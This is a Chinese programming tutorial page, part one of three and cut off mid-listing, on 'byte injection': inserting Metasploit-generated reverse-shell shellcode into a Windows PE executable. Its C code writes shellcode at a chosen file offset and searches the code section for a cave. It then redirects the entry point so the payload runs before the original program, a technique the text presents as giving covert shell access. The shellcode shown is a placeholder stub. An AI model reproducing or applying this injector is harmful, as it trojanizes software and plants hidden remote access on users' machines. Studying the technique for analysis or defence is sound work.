设为首页 加入收藏

TOP

2.12 PE结构:实现PE字节注入(一)
2023-09-23 15:44:26 】 浏览:598
Tags:2.12 结构 实现

本章笔者将介绍一种通过Metasploit生成ShellCode并将其注入到特定PE文件内的Shell注入技术。该技术能够劫持原始PE文件的入口地址,在PE程序运行之前执行ShellCode反弹,执行后挂入后台并继续运行原始程序,实现了一种隐蔽的Shell访问。而我把这种技术叫做字节注入反弹。

字节注入功能调用WritePEShellCode函数,该函数的主要作用是接受用户传入的一个文件位置,并可以将一段通过Metasploit工具生成的有效载荷注入到特定文件偏移位置处。

读者在使用该函数之前需要通过WinHex找到注入位置,我们以如下截图中的30352为例;

接着读者需要自行准备一段ShellCode代码,只保留代码部分去掉头部变量参数,如下所示;

接着我们使用如下这段代码中的WritePEShellCode函数,通过传入指定PE文件路径,指定文件便宜,以及指定的ShellCode文件路径,即可自动将其压缩为一行并在压缩后将代码写出到指定的可执行文件内。

// 将ShellCode写出到PE程序的特定位置
// 参数1: 指定PE路径 参数2: 指定文件中的偏移(十进制) 参数3: 指定ShellCode文件
void WritePEShellCode(const char* FilePath, long FileOffset, const char* ShellCode)
{
  HANDLE hFile = NULL;
  FILE* fpointer = NULL;
  DWORD dwNum = 0;

  int count = 0;
  char shellcode[8192] = { 0 };
  unsigned char save[8192] = { 0 };

  // 打开一段ShellCode代码并处理为一行
  if ((fpointer = fopen(ShellCode, "r")) != NULL)
  {
    char ch = 0;
    for (int x = 0; (ch = fgetc(fpointer)) != EOF;)
    {
      if (ch != L'\n' && ch != L'\"' && ch != L'\\' && ch != L'x' && ch != L';')
      {
        shellcode[x++] = ch;
        count++;
      }
    }
  }
  _fcloseall();

  // 将单字节合并为双字节
  for (int x = 0; x < count / 2; x++)
  {
    unsigned int char_in_hex;
    if (shellcode[x] != 0)
    {
      sscanf(shellcode + 2 * x, "%02X", &char_in_hex);

      // 每十六字节换一行输出
      if ((x+1) % 16 == 0)
      {
        printf("0x%02X \n", char_in_hex);
      }
      else
      {
        printf("0x%02X ", char_in_hex);
      }
      save[x] = char_in_hex;
    }
  }

  // 打开PE文件并写出ShellCode到指定位置
  hFile = CreateFile(FilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (INVALID_HANDLE_VALUE != hFile)
  {
    SetFilePointer(hFile, FileOffset, NULL, FILE_BEGIN);
    bool ref = WriteFile(hFile, save, count/2 , &dwNum, NULL);
    if (true == ref)
    {
      printf("\n\n[*] 已注入 ShellCode 到PE文件 \n[+] 注入起始FOA => 0x%08X \n",FileOffset);
    }
    CloseHandle(hFile);
  }
}

我们通过传入WritePEShellCode("d://lyshark.exe", 30352, "d://shellcode.txt");参数,运行后则可将特定文本中的机器码注入到30352的位置处,读者也可以通过使用WinHex跳转到对应位置观察,如下所示;

当然了上述方法注入到PE文件中我们需要手动分析寻找空余块,并在注入成功后还需要自行修正PE文件内的入口地址等,这种方式适合于对PE结构非常熟悉的人可以,但也要花费一些精力去寻找分析,如下代码则是实现了自动化注入功能,该代码中FindSpace()函数用于从代码节的末尾开始搜索,寻找特定长度的空余位置,当找到合适的缝隙后便返回缝隙首地址。

此时dwOep变量内存储的是该程序原始的OEP入口位置,接着将入口地址赋值到*(DWORD *)&shellcode[5]也就是放入到shellcode机器码的第六个位置处,此处将变更为跳转到原始入口的指令集,接着调用memcpy函数将shellcode代码拷贝到新分配的dwAddr内存中,此处的strlen(shellcode) + 3代表的是ShellCode中剩余的\xff\xe0\x00部分,最后将当前EIP指针设置为我们自己的ShellCode所在位置,通过pNtHeader->OptionalHeader.AddressOfEntryPoint赋值设置此变量,至此这个注入器就算实现啦。

#include <stdio.h>
#include <stddef.h>
#include <windows.h>

// \xb8\x90\x90\x90\x90 => mov eax,90909090
// \xff\xe0\x00 => jmp eax
char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";

// 缝隙的搜索从代码节的末尾开始搜索,有利于快速搜索到缝隙
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
{
  // 跳过可选头长度的数据
  PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)
    (((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));

  // 获取到文件末尾的位置
  DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
  dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;

  LPVOID lp = malloc(sizeof(shellcode));
  memset(lp, 0, sizeof(shellcode));

  while (dwAddr > pS
首页 上一页 1 2 3 下一页 尾页 1/3/3
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇【Qt6】列表模型——抽象基类 下一篇学习笔记

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目